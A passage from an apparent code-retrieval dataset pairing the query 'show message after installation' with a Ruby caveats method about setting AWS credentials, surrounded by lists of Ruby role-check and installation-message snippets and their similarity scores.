"def verify_admin\n redirect_to root_url unless current_user.role_id == 1 || current_user.role_id == 2\n end",
"def has_role?(role)\n list ||= self.roles.map(&:name)\n list.include?(role.to_s) || list.include?('admin')\n end",
"def has_role?(role)\n list ||= self.roles.map(&:name)\n list.include?(role.to_s) || list.include?('admin')\n end",
"def has_role?(role)\n list ||= self.roles.map(&:name)\n list.include?(role.to_s) || list.include?('admin')\n end",
"def has_role?(role)\n list ||= self.roles.map(&:name)\n list.include?(role.to_s) || list.include?('admin')\n end",
"def has_role?(role)\n list ||= self.roles.map(&:name)\n list.include?(role.to_s) || list.include?('admin')\n end",
"def has_role?(role)\n list ||= self.roles.map(&:name)\n list.include?(role.to_s) || list.include?('admin')\n end",
"def check_role\n if signed_in? \n # if not admin, redirect to message index\n if current_user.role != \"admin\"\n redirect_to messages_path\n end\n # if not sign in, redirect to sign in form\n else\n redirect_to new_session_path\n end\n end",
"def has_role?(role)\n if self.roles.exists? then\n self.roles.find_by(:name => role).present?\n end\n end",
"def role?(role)\n \troles.include? role.to_s\n end",
"def role?(role)\n return !!self.roles.find_by_name(role.to_s)\n end",
"def role?(role)\n return !!self.roles.find_by_name(role.to_s)\n end",
"def role?(role)\n return !!self.roles.find_by_name(role.to_s)\n end",
"def is?( requested_role )\n\t\tself.role = Role.find_by(name: \"regular\") if role.nil?\n \tself.role.name == requested_role.to_s\n end",
"def role?(role)\n return !!self.roles.find_by_name(role.to_s.camelize)\n end",
"def role?(role)\n return !!self.roles.find_by_name(role.to_s.camelize)\n end",
"def role?(role)\n return !!self.roles.find_by_name(role.to_s.camelize)\n end",
"def role?(role)\n return !!self.roles.find_by_name(role.to_s.camelize)\n end",
"def check_user_right(roles)\n has_access = false\n if session[:user_id]\n roles.each do |role|\n if current_user.role.eql? role\n has_access = true\n end\n end\n unless has_access\n flash[:errors] = [\"You must have #{roles.map { |role| role }} user rights to access this page\"]\n redirect_back fallback_location: root_path\n end\n else\n require_login\n end\n end",
"def role?(role) \n roles.any? { |r| r.name.underscore.to_sym == role } \n end",
"def is_member?\n determine_user_role\n end",
"def has_role?(role_name)\n if user_roles\n roles = user_roles.data.map do |role|\n role.name\n end\n\n roles.include?(role_name)\n end\n end",
"def determine_user_role\n if logged_in? #Then you are a member and you have a role\n if @current_user.role == \"Administrator\"\n @admin_user = true\n @superadmin_user = false\n @member = false\n elsif @current_user.role == \"Super Administrator\"\n @superadmin_user = true\n @admin_user = false\n @member = false\n #You are a member\n else\n @admin_user = false\n @superadmin_user = false\n @member = true\n end\n #else you are not a member and do not have a role\n else\n @admin_user = false\n @superadmin_user = false\n @member = false\n end\n end",
"def has_role?(role)\n role = role.name if role.is_a?(Role)\n self.my_roles.include?(role)\n end",
"def check_user(current_user, clearance_level)\n if current_user.nil?\n return false\n end\n if clearance_level == \"admin\"\n return current_user.role == \"admin\"\n end\n if clearance_level == \"chair\"\n (current_user.role == \"admin\" || current_user.role == \"chair\")\n end\n end",
"def admin? ; user.instance_of? User and user.role >= 2 ; end",
"def isinrole (roleid)\n is_in_role roleid\n end",
"def has_role?( role )\n\t\treturn self.role.title.to_sym == role if self.role\n\t\tfalse\n\tend",
"def check_admin\n\t\tif current_user && current_user.role == 2\n\t\telsif current_user && current_user.role != 2\n\t\t\tredirect_to buildings_url, notice: 'You are not authorized'\n\t\telse\n\t\t\tredirect_to buildings_url, notice: 'You are not logged in'\n\t\tend\n\tend",
"def is?(rololo)\n role == rololo\n end",
"def role? role\n return !!self.roles.find_by_name(role.to_s)\n end",
"def admin?\n role= current_user ? current_user.role : \"\"\n role.upcase.split(\",\").include?(\"A\")\n rescue\n false\n end",
"def admin?\n user = check_user\n user.role == User.role_types['Admin']\n end"
] |
[
"0.80921245",
"0.8031052",
"0.8006534",
"0.7939082",
"0.78985494",
"0.78190213",
"0.78132",
"0.7776644",
"0.77359605",
"0.76866376",
"0.76814485",
"0.767367",
"0.767367",
"0.7633259",
"0.76125455",
"0.76118284",
"0.7610091",
"0.7592979",
"0.7592248",
"0.756529",
"0.75374603",
"0.7536424",
"0.75353765",
"0.75227296",
"0.75227296",
"0.75163305",
"0.75038743",
"0.74893326",
"0.74893326",
"0.7484357",
"0.7480889",
"0.74683625",
"0.7453786",
"0.7451884",
"0.7448894",
"0.74147004",
"0.73962736",
"0.73827475",
"0.7369233",
"0.73671985",
"0.7361139",
"0.7359826",
"0.73496306",
"0.73437065",
"0.73311836",
"0.7326692",
"0.7323375",
"0.73208654",
"0.73005307",
"0.7289266",
"0.7289266",
"0.7286414",
"0.7284746",
"0.7280983",
"0.72585106",
"0.72576946",
"0.72570086",
"0.725627",
"0.72548026",
"0.72417897",
"0.72403497",
"0.7236517",
"0.7235242",
"0.7219379",
"0.72085154",
"0.7202893",
"0.7197755",
"0.7195468",
"0.7191882",
"0.71861124",
"0.71861124",
"0.71861124",
"0.71861124",
"0.71861124",
"0.71861124",
"0.7177487",
"0.71748674",
"0.71592385",
"0.7150183",
"0.7150183",
"0.7150183",
"0.7148009",
"0.7142194",
"0.7142194",
"0.7142194",
"0.7142194",
"0.71355236",
"0.71245617",
"0.7120203",
"0.71148103",
"0.7112674",
"0.7086143",
"0.7086064",
"0.70842165",
"0.7076077",
"0.7075496",
"0.705402",
"0.7049776",
"0.70485544",
"0.7046966",
"0.70458466"
] |
0.0
|
-1
|
show message after installation.
|
def caveats
<<~EOS
# rnssh need AWS access key for working.
# Please set key/secret to AWS credentials (~/.aws/credentials)
[default]
aws_access_key_id=your_key_id
aws_secret_access_key=your_secret
# or environment variable for AWS connection.
# (~/.bashrc, ~/.zshrc or other.)
export AWS_ACCESS_KEY_ID=YOUR_AWS_ACCESS_KEY
export AWS_SECRET_ACCESS_KEY=YOUR_AWS_SECRET_ACCESS_KEY
# set default aws region.
# until v0.3.9
rnssh --init
# after v0.4.0
rnssh -init
EOS
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def install_message; end",
"def complete\n unless options[:quiet]\n puts \"*\" * 75\n puts \" \"\n puts \">> Questionnaire has been installed successfully.\"\n puts \">> You're all ready to go!\"\n puts \" \"\n puts \">> Enjoy!\"\n end\n end",
"def show_help\n puts HELP_INSTALL\n end",
"def confirmInstallation\n heading = \"\"\n body = \"\"\n confirm_button_label = \"\"\n\n if !Mode.update\n # Heading for confirmation popup before the installation really starts\n heading = HTML.Heading(_(\"Confirm Installation\"))\n\n # Text for confirmation popup before the installation really starts 1/3\n body = _(\n \"<p>Information required for the base installation is now complete.</p>\"\n )\n\n some_destructive = Builtins.find(Storage.GetCommitInfos) do |info|\n Ops.get_boolean(info, :destructive, false)\n end != nil\n\n if some_destructive\n # Text for confirmation popup before the installation really starts 2/3\n body = Ops.add(\n body,\n _(\n \"<p>If you continue now, <b>existing\\n\" +\n \"partitions</b> on your hard disk will be <b>deleted</b> or <b>formatted</b>\\n\" +\n \"(<b>erasing any existing data</b> in those partitions) according to the\\n\" +\n \"installation settings in the previous dialogs.</p>\"\n )\n )\n else\n # Text for confirmation popup before the installation really starts 2/3\n body = Ops.add(\n body,\n _(\n \"<p>If you continue now, partitions on your\\n\" +\n \"hard disk will be modified according to the installation settings in the\\n\" +\n \"previous dialogs.</p>\"\n )\n )\n end\n\n # Text for confirmation popup before the installation really starts 3/3\n body = Ops.add(\n body,\n _(\"<p>Go back and check the settings if you are unsure.</p>\")\n )\n\n confirm_button_label = Label.InstallButton\n else\n # Heading for confirmation popup before the update really starts\n heading = \"<h3>\" + _(\"Confirm Update\") + \"</h3>\"\n\n body =\n # Text for confirmation popup before the update really starts 1/3\n _(\"<p>Information required to perform an update is now complete.</p>\") +\n # Text for confirmation popup before the update really starts 2/3\n _(\n \"\\n\" +\n \"<p>If you continue now, data on your hard disk will be overwritten\\n\" +\n \"according to the settings in the previous dialogs.</p>\"\n ) +\n # Text for confirmation popup before the update really starts 3/3\n _(\"<p>Go back and check the settings if you are unsure.</p>\") \n\n\n # Label for the button that confirms startint the installation\n confirm_button_label = _(\"Start &Update\")\n end\n\n heading_bg_color = \"#A9CEDD\"\n\n display_info = UI.GetDisplayInfo\n text = Ops.get_boolean(display_info, \"RichTextSupportsTable\", false) ?\n Builtins.sformat(\n \"<table bgcolor=\\\"%1\\\"><tr><td>%2</td></tr></table>%3\",\n heading_bg_color,\n heading,\n body\n ) :\n Ops.add(heading, body)\n\n size_x = Builtins.tointeger(Ops.get_integer(display_info, \"Width\", 800))\n size_y = Builtins.tointeger(Ops.get_integer(display_info, \"Height\", 600))\n\n # 576x384 support for for ps3\n # bugzilla #273147\n if Ops.greater_or_equal(size_x, 800) && Ops.greater_or_equal(size_y, 600)\n size_x = 70\n size_y = 18\n else\n size_x = 54\n size_y = 15\n end\n\n UI.OpenDialog(\n VBox(\n VSpacing(0.4),\n HSpacing(size_x), # force width\n HBox(\n HSpacing(0.7),\n VSpacing(size_y), # force height\n RichText(text),\n HSpacing(0.7)\n ),\n ButtonBox(\n PushButton(\n Id(:cancel),\n Opt(:cancelButton, :key_F10, :default),\n Label.BackButton\n ),\n PushButton(Id(:ok), Opt(:okButton, :key_F9), confirm_button_label)\n )\n )\n )\n\n button = Convert.to_symbol(UI.UserInput)\n UI.CloseDialog\n\n button == :ok\n end",
"def post_install_message(msg)\n @post_install_messages << msg\n end",
"def setup_complete\n puts green(\"Setup complete\")\n end",
"def want_to_install?\n say \"Want to install #{name} feature?\"\n detail\n # TODO make ENTER behave as \"yes\"\n yes? \"[y/n]\"\n end",
"def notify(success)\n message = if success\n \"Successfully upgraded all the things! (#{Time.now.strftime(\"%H:%M, %-d %b\")})\"\n else\n 'Failed to upgrade all the things :('\n end\n osx_notify message\n success && $stderr.tty? && lol_notify(message) || $stderr.puts(message)\n end",
"def run\n before_install\n run_steps\n return true\n rescue Abort\n puts\n return false\n rescue SignalException, SystemExit\n raise\n rescue PlatformInfo::RuntimeError => e\n new_screen\n puts \"<red>An error occurred</red>\"\n puts\n puts e.message\n exit 1\n rescue Exception => e\n show_support_options_for_installer_bug(e)\n exit 2\n ensure\n after_install\n end",
"def gem_warning(server)\n if(!server.command_available?)\n puts \"WARNING: The #{server.server} gem does not appear to be installed\"\n end\n end",
"def post_install; end",
"def write_result_msg(result)\n msg = if result then\n I18n.t 'config.recreated'\n else\n I18n.t 'config.updated'\n end\n @env.ui.info msg\n end",
"def post_install\n end",
"def post_install_message\n\t\t\tif @remote_specification\n\t\t\t\t@remote_specification.post_install_message\n\t\t\telsif _local_specification\n\t\t\t\t_local_specification.post_install_message\n\t\t\tend\n\t\tend",
"def perform_post_install_actions\n run_plugins_post_install_hooks\n warn_for_deprecations\n warn_for_installed_script_phases\n warn_for_removing_git_master_specs_repo\n print_post_install_message\n end",
"def show_5min_notification\n #message_box \"Ваше время истечет через 5 минут!\"\n message_box_nonblk 1\n system Gem.ruby, File.expand_path(\"msgbox.rb\", File.dirname(__FILE__)), '1'\nend",
"def show_reminder\n repo = PluginsHelper.plugins_raw_url\n UI.notice \"Don't forget to create a Pull Request on #{repo}\\n\" \\\n ' to add your plugin to the plugins.json file once it is released!'\n end",
"def show_help\n info = <<~HELP\n 'install_product' Install a product onto the configuration node.\n mdbci install_product --product product --product-version version config/node\n HELP\n @ui.info(info)\n end",
"def display\n @notice.display(true)\n end",
"def version_saved_success_message\n save_success_txt.text\n end",
"def inform_user_about_cargo\n raise cargo_required_msg unless options[:optional_rust_extension]\n\n $stderr.write(cargo_recommended_msg)\n end",
"def show_info(message)\n say \"Information\", message, :cyan\n end",
"def run_if_installed(output = true, &blk)\n return yield if Config.installed?\n inform \"You need to run `dotify setup` before you can run this task.\" if output\n end",
"def show(msg)\n puts msg\n false\n end",
"def info(msg)\n Souschef::Print.info(msg) if @opts[:verbose]\n end",
"def prompt(section)\n puts\n puts '---------------------------------------------'\n puts \" Ready to install #{ section }? [y|n]\"\n puts '---------------------------------------------'\nend",
"def prompt(section)\n puts\n puts '---------------------------------------------'\n puts \" Ready to install #{ section }? [y|n]\"\n puts '---------------------------------------------'\nend",
"def prompt(section)\n puts\n puts '---------------------------------------------'\n puts \" Ready to install #{ section }? [y|n]\"\n puts '---------------------------------------------'\nend",
"def not_implemented_yet(caption)\n Qt::MessageBox.information(nil, caption, tr(\"This operation is not implemented yet.\"))\n end",
"def confirm\n puts \"#{@gre}[ok] #{@lastMsg}. #{@ncl}\"\n end",
"def succeed_add_shoppingcart\n\t\t@msg = \"Your product is successfully added to the shopping cart.\"\n\t\t@msg_type = \"success\"\n\tend",
"def success_message\n if nagios_mode?\n puts \"OK: All packages match checksums\"\n else\n msg \"metadata_check: ok\"\n end\n end",
"def after_install(path, options = T.unsafe(nil)); end",
"def display_help\n puts \"Dev Sync : report or sync your development files\"\n puts \" report nas_directory(optional)\"\n puts \" sync reported_file_name\"\nend",
"def install\n yaourt('--noconfirm', '-Sy', @resource[:name])\n end",
"def report_ready\n write_verbose_log(\"Notifier #{VERSION} ready to catch errors\", :info)\n end",
"def on_startup\n\t\t# Check for modules that failed to load\n\t\tif (framework.modules.failed.length > 0)\n\t\t\tprint_error(\"WARNING! The following modules could not be loaded!\")\n\t\t\tframework.modules.failed.each_pair do |file, err|\n\t\t\t\tprint_error(\"\\t#{file}: #{err}\")\n\t\t\tend\n\t\tend\n\t\tframework.events.on_ui_start(Msf::Framework::Revision)\n\n\t\t# Build the banner message\n\t\trun_single(\"banner\")\n\t\tself.on_command_proc = Proc.new { |command| framework.events.on_ui_command(command) }\n\tend",
"def prompt(section)\n puts\n puts \"#{colorize(\"---------------------------------------------\", \"blue\")}\"\n puts \"#{colorize(\" Ready to install #{ section }? [y|n]\", \"blue\")}\"\n puts \"#{colorize(\"---------------------------------------------\", \"blue\")}\"\nend",
"def after_install(path, options = {})\n timestamp = Time.now.strftime(\"%Y-%m-%d %H:%M:%S\")\n unless options['skip-bundle']\n bundle_install(path, options)\n if options['skip-patches']\n J1.logger.info \"#{timestamp} - GENERATE: Install build-in patches skipped ...\"\n else\n patch_install(options)\n end\n end\n timestamp = Time.now.strftime(\"%Y-%m-%d %H:%M:%S\")\n if options['force']\n J1.logger.info \"#{timestamp} - GENERATE: Generated Jekyll site force installed in folder #{path}\"\n else\n J1.logger.info \"#{timestamp} - GENERATE: Generated Jekyll site installed in folder #{path}\"\n end\n J1.logger.info \"#{timestamp} - GENERATE: Installation (bundle) of RubyGems skipped\" if options['skip-bundle']\n end",
"def banner\n say %(\n\n ******************************************************************\n\n Your extension has been generated with a gemspec dependency on\n Archangel ~> v#{archangel_version}\n\n I have a feeling you're about to build something amazing.\n\n ******************************************************************\n\n )\n end",
"def print_welcome_message\n puts \"\\nThank you for using this amazing command line bowling scorecard, good luck!\\n\"\n end",
"def showInformation()\n print(\"Starting up the scraper for the RAND Terrorism Incident Database. The flashing numbers that will appear represent written incidents. It will take a few moments for the initial program to load... \\n\");\nend",
"def printUsageMessage()\n\n print \"Check the last NAMD log file in a directory to make sure the run either completed\\n\"\n print \"successfully or died after all necessary restart files were written. Then restart\\n\"\n print \"the run or print an error message.\\n\"\n print \" autoNamdRun.rb <configFile>\\n\"\n print \" <configFile> - file listing all NAMD jobs to check\\n\"\n\n return\nend",
"def about\n Qt::MessageBox.about(self, 'Jacinthe Reports', ABOUT.join(\"\\n\"))\n end",
"def about\n Qt::MessageBox.about(self, 'Jacinthe Reports', ABOUT.join(\"\\n\"))\n end",
"def show_help\n puts HELP_MESSAGE\n end",
"def show_help\n puts HELP_MESSAGE\n end",
"def display\n if command\n write_green \"\\t#{hname}\"\n command && write_cyan(\"\\t vite-faits #{command}\")\n end\n # TODO Quand on pourra sortir une version HTML, on pourra mettre\n # un lien vers le mode d'emploi.\n # manuel && puts(\"\\t Ancre manuel : ##{manuel}\")\n end",
"def installation?; @installation; end",
"def what_is_installed?\n which_os = os.green\n package_manager = ( has_installer? ? 'Yes'.green : 'No'.red.blink )\n exe_installed = ( pianobar? ? 'Yes'.green : 'No'.red.blink )\n ctl_file = ( ctl? ? 'Yes'.green : 'No'.red.blink )\n has_notifier = ( notify? ? 'Yes'.green : 'No'.red.blink )\n ok = ( has_installer? ? 'Yes'.green : 'No'.red.blink )\n\n puts get_template 'what_is_installed', binding\n\n has_installer?\n end",
"def after_install(path, options = {})\n unless options[\"blank\"] || options[\"skip-bundle\"]\n begin\n require \"bundler\"\n bundle_install path\n rescue LoadError\n Jekyll.logger.info \"Could not load Bundler. Bundle install skipped.\"\n end\n end\n\n Jekyll.logger.info \"New jekyll site installed in #{path.cyan}.\"\n Jekyll.logger.info \"Bundle install skipped.\" if options[\"skip-bundle\"]\n end",
"def deliver_admin_notice\n unless self.registered_download.cc.blank?\n RegisteredDownloadsMailer.delay.admin_notice(self)\n end\n end",
"def caveats\n text = <<~EOS\n zkg has been installed as\n #{HOMEBREW_PREFIX}/bin/zkg\n\n To perform postinstall process, please directly call the\n following command: `zkg autoconfig`.\n\n Configuration file locates at ~/.zkg/config, please\n run `zkg config` command to set up your runtime\n specifications.\n\n For more information, check out `zkg --help` command.\n Online documentations available at GitHub repository.\n\n See: https://docs.zeek.org/projects/package-manager\n EOS\n text\n end",
"def verify_popup_message\n\t\t# popUpNote = \"You will lose your delivery slot reservation if you change to a collection.\\nWould you like to change to a collection?\"\n\t\tputs \"Test\"\n\tend",
"def prepare_for_installation; end",
"def welcome_message\r\n system(\"clear\")\r\n a = Artii::Base.new :font => 'slant'\r\n puts a.asciify('Make 10').colorize(:white).on_green\r\n puts (\"This app can find solutions for the game Make 10.\")\r\n end",
"def installed?\n if Setting.installing?.present?\n redirect_to install_index_path\n end\n end",
"def show_elf_version\n\t\t\tver_str = \"#{@elf_version}\"\n\t\t\tver_str += \" (current)\" if @elf_version == 1\n\t\t\tputs \" Version: #{ver_str}\"\n\t\tend",
"def run_if_not_installed(output = true, &blk)\n return yield unless Config.installed?\n inform \"You need to uninstall Dotify before you can run this task\" if output\n end",
"def notify_start(paths, options)\n message = options[:message] || \"Running: #{paths.join(' ')}\"\n Compat::UI.info(message, :reset => true)\n end",
"def show_header()\n print_message (SPACE_SEPARATOR)\n print_message 'Welcome to Ruby Calculator'\n print_message (SPACE_SEPARATOR) \n end",
"def ok(message=\"\")\n\t\t\t\tputs \"[ #{green('Ok')} ] #{message}\"\n\t\t\tend",
"def SlideDisplayStart(pkg_name, pkg_location, pkg_summary, pkg_size, deleting)\n return if !SanityCheck(false)\n\n # remove path\n pkg_filename = StripPath(pkg_location)\n Builtins.y2internal(\"pkg_name: %1\", pkg_name)\n\n if deleting\n pkg_size = -1\n\n # This is a kind of misuse of insider knowledge: If there are packages to delete, this\n # deletion comes first, and only then packages are installed. This, however, greatly\n # distorts the estimated times based on data throughput so far: While packages are\n # deleted, throughput is zero, and estimated times rise to infinity (they are cut off\n # at max_time_per_cd to hide this). So we make sure the time spent deleting packages is\n # not counted for estimating remaining times - reset the timer.\n #\n # Note: This will begin to fail when some day packages are deleted in the middle of the\n # installaton process.\n\n SlideShow.ResetTimer\n end\n\n pkg_summary = \"\" if pkg_summary == nil\n\n msg = \"\"\n\n if deleting\n # Heading for the progress bar for the current package\n # while it is deleted. \"%1\" is the package name.\n msg = Builtins.sformat(_(\"Deleting %1\"), pkg_name)\n else\n @updating = Pkg.PkgInstalled(pkg_name)\n\n # package installation - summary text\n # %1 is RPM name, %2 is installed (unpacked) size (e.g. 6.20MB)\n msg = Builtins.sformat(\n _(\"Installing %1 (installed size %2)\"),\n pkg_filename,\n String.FormatSize(pkg_size)\n )\n\n @current_install_size = pkg_size\n end\n\n\n #\n # Update package progress bar\n #\n SlideShow.SubProgress(0, msg)\n\n # Update global progress bar\n DisplayGlobalProgress()\n\n #\n # Update (user visible) installation log\n #\n SlideShow.AppendMessageToInstLog(msg)\n\n #\n # Update the current slide if applicable\n #\n SlideShow.ChangeSlideIfNecessary if SlideShow.ShowingSlide\n\n nil\n end",
"def run_install_hook_with_add_info(*args)\n run_install_hook_without_add_info(*args)\n store_info_to_yml\n end",
"def introduction\n puts \"1. Create a customer account\\n2. Choose active customer\\n3. Create a payment option\\n4. Add product to sell\\n5. Add product to shopping cart\\n6. Complete an order\\n7. Remove customer product\\n8. Update product information\\n9. Show stale products\\n10. Show customer revenue report\\n11. Show overall product popularity\\n12. Leave Bangazon!\"\n end",
"def ok\n wait_for_exists\n @alert.accept\n @browser.after_hooks.run\n end",
"def banner\n I18n.t 'command.impressbox.usage', cmd: 'vagrant impressbox'\n end",
"def success(message, options = { })\n stamped_message = \"#{Time.now.strftime('%r')} #{message}\"\n ::Guard::UI.info(color(stamped_message, ';32'), options)\n end",
"def notify(success, message)\n title = \"oo2md2tex run \" + (success ? \"OK\" : \"Failed\")\n options = \"-message '#{message}' -title '#{title}'\"\n system \"terminal-notifier #{options} &\"\nend",
"def pre_install; end",
"def show_message(message)\n JOptionPane.showMessageDialog(nil, message)\n end",
"def conclusion\n system \"clear\" or system \"cls\"\n output_action_header(\"** Thank You For Using The Bangazon Command Line Ordering System **\")\n end",
"def about\n Qt::MessageBox.information(self, tr(\"About\"), tr(\"This is a simple DICOM Viewer made with QtRuby.\"))\n end",
"def show_version\n abort \"#{option_parser.program_name} v#{VERSION} on #{RUBY_DESCRIPTION}\"\n end",
"def bye_message\n message = \"Panacea's work is done, enjoy!\"\n say \"\\n\\n\\e[34m#{message}\\e[0m\"\n end",
"def verbose_message(msg)\n\t\t\t\tUI.message(msg) if (@verbose)\n\t\t\tend",
"def set_system_announcement\n flash.now[:system_announcement] = \"This is the <strong>Ajax on Rails Intranet</strong>, <br/>released as part of <a href=\\\"http://www.oreilly.com/catalog/9780596527440/\\\"><em>Ajax on Rails</em></a> from O’Reilly Media.\"\n end",
"def display_welcome_message\r\n prompt \"Welcome to Tic Tac Toe!\"\r\n end",
"def show(msg)\n message(\"show\", :red, msg)\n end",
"def show!\n notify_init(app_name) or raise \"notify_init failed\"\n raw_ptr = notify_notification_new(summary, body, icon_path, nil)\n @notification = ::FFI::AutoPointer.new(raw_ptr, method(:g_object_unref))\n show\n end",
"def welcome_screen\n puts \"\"\n puts \"Bienvenu sur votre espace TOP SECRET !\"\n puts \"Info : Aujourd'hui il fait beau (a ne pas divulguer)\" \nend",
"def msg\n 'Are you sure? All your changes will be lost.'\n end",
"def welcome_message\n\t\tputs \"Welcome/Bienvenue \" + self.name\n\tend",
"def instructions\n puts '---------------------------------------------------------------'\n puts 'To complete your installation...'\n puts ''\n puts \"1: Add this gem to your project Gemfile and run 'bundle install'\"\n puts ''\n puts \" gem 'simple-tooltip'\"\n puts ''\n puts '2: Run db:migrate to create the tooltips database table'\n puts ''\n puts \" $ rake db:migrate\"\n puts ''\n puts '3: Make sure you have the jQuery JavaScript library installed (via jquery-rails)'\n puts ''\n puts ' $ rails generate jquery:install'\n puts ''\n puts '4: Check that these first two lines are in layouts/application.html.erb and add the third'\n puts ''\n puts ' <%= stylesheet_link_tag :all %>'\n puts ' <%= javascript_include_tag :defaults %>'\n puts \" <%= javascript_include_tag 'simple_tooltip.js' %>\"\n puts ''\n puts '5: Create some tooltip entries in /tooltips and then add links'\n puts ' to them in views of your other models'\n puts \" <%= tooltip('tooltip title', :hover) %>\"\n puts ''\n puts 'For more information see the project page on GitHub'\n puts ' https://github.com/craic/simple_tooltip'\n puts '---------------------------------------------------------------'\n end",
"def welcome_message\n message = \"Welcome to Locavore Kitchen!\"\n end",
"def print_version\n puts VERSION\n \n exit\n end",
"def welcome_message\n puts \"Welcome to Everything but the Kitchen Sink!\"\n end",
"def check_install?\n @default_options[ :check_install ]\n end",
"def action_install\n grunt_package.run_action(:install)\n wh_package.run_action(:install)\n new_resource.installed = true\n end",
"def on_is_standalone\n STDOUT << \"on_is_standalone\\n\"\n STDOUT.flush\n end",
"def conclusion\n separator\n puts \"#{@app_name} successfully deployed! URL: http://#{app_name}\"\n puts \"\\n\\n\"\n end",
"def action_install\n run_package_action(:install)\n end",
"def show_info(config, layout)\n Squib::logger.info \"Squib v#{Squib::VERSION}\"\n Squib::logger.info \" building #{@cards.size} #{@width}x#{@height} cards\"\n Squib::logger.info \" using #{@backend}\"\n end",
"def printComeBackMessage\n puts \"Then come back and run the program again.\"\n end",
"def display_welcome\n\t\tputs \"\\t**************************\"\n\t\tputs \"\\t*** Welcome To Hangman ***\"\n\t\tputs \"\\t**************************\"\n\tend",
"def confirm\n text = \" Notifier #{@selected_size} abonnement(s)\"\n return unless GuiQt.confirm_dialog(text)\n answer = do_notify\n report(answer.join(\"\\n\"))\n JacintheManagement.log(answer.join(\"\\n\"))\n update_classification\n redraw_selection_area\n update_selection\n @show_button.enabled = true\n end",
"def show_test_message\r\n cc 0x02\r\n puts \"Testing script #{@script}\"\r\n cc 0x07\r\n puts \"Type : \"\r\n puts \"reload to reload the script\"\r\n puts \"restart to restart the scene\"\r\n puts \"quit to quit the test\"\r\n print \"Commande : \"\r\n end",
"def after_test_message\n begin\n existing_files = Dir.entries(configuration.dvd_library_dir).reject{ |e|\n e[-1] == '.'\n }\n rescue Errno::ENOENT\n return ''\n end\n\n untested_dvd_files = existing_files - dvd_files\n if untested_dvd_files.any?\n \"\\033[31m\" + # make output red\n \"\\n\\n\" +\n \"***************\\n\" +\n \"* DVR NOTICE: *\\n\" +\n \"***************\\n\" +\n \"The following files were found in #{configuration.dvd_library_dir},\\n\" +\n \"but they were not tested in any DVR tests:\\n\\n\" +\n untested_dvd_files.join(\"\\n\") + \"\\n\\n\" +\n \"Please ensure that this form/action was not accidentally removed.\\n\" +\n \"You may have simply forgotten to write a test for it.\\n\" +\n \"If it was removed on purpose, you may need to check for other \" +\n \"services that were relying on it.\\n\" +\n \"When you're sure it's not longer needed, simply delete it.\" +\n \"\\033[0m\\n\"\n else\n ''\n end\n end",
"def show_error(text)\n puts Header % ['No', text]\n puts Footer % Version\nend",
"def puts_info(msg)\n $stdout.puts \"\\e[32m[INFO] #{msg}\\e[0m\" if Calamum::Config[:debug]\nend",
"def ui_message(message)\n puts message\n end"
] |
[
"0.71326125",
"0.68129116",
"0.6790476",
"0.6533042",
"0.63751304",
"0.625986",
"0.6225275",
"0.60790914",
"0.60396254",
"0.60225433",
"0.5906464",
"0.5897832",
"0.5886468",
"0.5884546",
"0.5868468",
"0.5832907",
"0.5774519",
"0.5763071",
"0.57353044",
"0.5729349",
"0.57160044",
"0.56504905",
"0.5647871",
"0.5632956",
"0.56320375",
"0.56234974",
"0.56234974",
"0.56234974",
"0.5619091",
"0.5592707",
"0.5588204",
"0.5582394",
"0.55820245",
"0.5573924",
"0.55504346",
"0.5541048",
"0.55238223",
"0.55221194",
"0.55133134",
"0.5509889",
"0.5502747",
"0.5494394",
"0.54809177",
"0.5467216",
"0.5467216",
"0.54587334",
"0.54587334",
"0.5454678",
"0.5452305",
"0.5446852",
"0.5444486",
"0.54405326",
"0.543919",
"0.54355806",
"0.5426184",
"0.5418386",
"0.539323",
"0.5383774",
"0.5371787",
"0.53687525",
"0.5368122",
"0.5356529",
"0.53543633",
"0.53497994",
"0.53471553",
"0.5336544",
"0.53329885",
"0.53328073",
"0.5329457",
"0.53271365",
"0.5325349",
"0.531939",
"0.5319194",
"0.53131807",
"0.5303926",
"0.5302694",
"0.53004384",
"0.5288113",
"0.5287841",
"0.5278901",
"0.526986",
"0.52661437",
"0.5259721",
"0.52589726",
"0.5258886",
"0.5252988",
"0.52390563",
"0.5230663",
"0.5227013",
"0.5223178",
"0.5221086",
"0.52192795",
"0.52176446",
"0.52163047",
"0.5214674",
"0.5211085",
"0.52071196",
"0.52067286",
"0.5205912",
"0.5200266",
"0.519994"
] |
0.0
|
-1
|
Subsets and Splits
No community queries yet
The top public SQL queries from the community will appear here once available.